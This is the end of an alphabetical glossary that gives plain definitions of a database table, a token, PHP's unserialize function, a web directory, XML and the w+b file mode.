- Table: one spreadsheet-like set of rows and columns inside a database.
- Token: a short secret value that proves a request is allowed.
- Unserialize: the PHP function that turns serialised text back into objects.
- Web directory: the folder a web server serves pages from, so files there can be requested in a browser.
- XML: a text format for structured data, using tags.
w+b: a file-opening mode meaning open for reading and writing, create if missing, start at the beginning.